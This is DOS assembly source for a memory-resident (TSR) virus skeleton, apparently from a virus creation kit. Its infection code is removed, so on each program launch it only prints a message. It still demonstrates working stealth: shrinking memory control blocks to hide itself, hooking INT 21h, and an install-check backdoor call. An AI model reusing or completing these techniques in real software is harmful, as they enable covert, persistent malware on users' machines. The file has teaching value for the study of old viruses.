; This is the guts of a TSR virus with limited memory stealth.
; Go ahead, compile it, install it in mem and do a "MEM /C" and see if
; it's there. It came out of my virus creation kit but it's actual virus
; code has been removed so instead of infecting files it just displays
; a message. Rebooting will remove it from memory with no harm done.
; It shows the basics of TSR stealth, and interrupt handling.


        .model tiny
        .code
         org 100h

start:

install:

        mov     ax,1234h                ; Our Arbitrarily Chosen Install
        int     21h                     ; Check
        cmp     ax,1111h                ; If Retruned the In Mem
        je      restore                 ; So Don't Do it Again

        mov     ax,cs
        sub     ax,0001                 ; ES = MCB
        mov     es,ax

        mov     ax,word ptr es:[0003]   ; Get the Size of MCB
        sub     ax,25h                  ; Kill 25h Paragraphs
        mov     word ptr es:[0003],ax   ; Set the New Value

        mov     si,word ptr es:[0012h]  ; Get Ammount of System Mem
        sub     si,25h                  ; Kill 25h Paragraphs
        mov     es,si                   ; Point Us There
        xor     si,si                   ; Offset 0
        xor     di,di                   ; Offset 0
        mov     cx,500h                 ; Move Us There
        rep     movsb

        push    es
        pop     ds

        mov     ax,3521h                ; Get old Int 21 vector
        int     21h
        mov     Old_21_Ofs,bx           ; Save Old Offset
        mov     Old_21_Seg,es           ; Save Old Segment

        mov     ax,2521h
        mov     dx,offset Int_21
        int     21h

restore:

        mov     dx,offset already
        mov     ah,09h
        int     21h

        int     20h

proc  int_21

        cmp     ax,1234h                ; Are we being paged?
        jne     no_check                ; Guess Not
        mov     ax,1111h                ; Guess So, Tell 'em We're Alive
        iret                            ; Interrupt Return

no_check:
        push    ax                      ; Save Registers
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        push    ds
        push    es

        cmp     ax,4B00h
        jz      infect


exit_call:

        pop     es                      ; Restore Registers
        pop     ds
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax

end_21:
            db      0eah                ; Far Jmp
old_21_ofs  dw      0                   ; To Original Int 21
old_21_seg  dw      0

infect:
        push    cs
        pop     ds
                
        push    cs
        pop     es

        mov     dx,offset message
        mov     ah,09h
        int     21h

        jmp     exit_call

endp int_21

message db "I'm hiding in your memory, looking for food."

end start

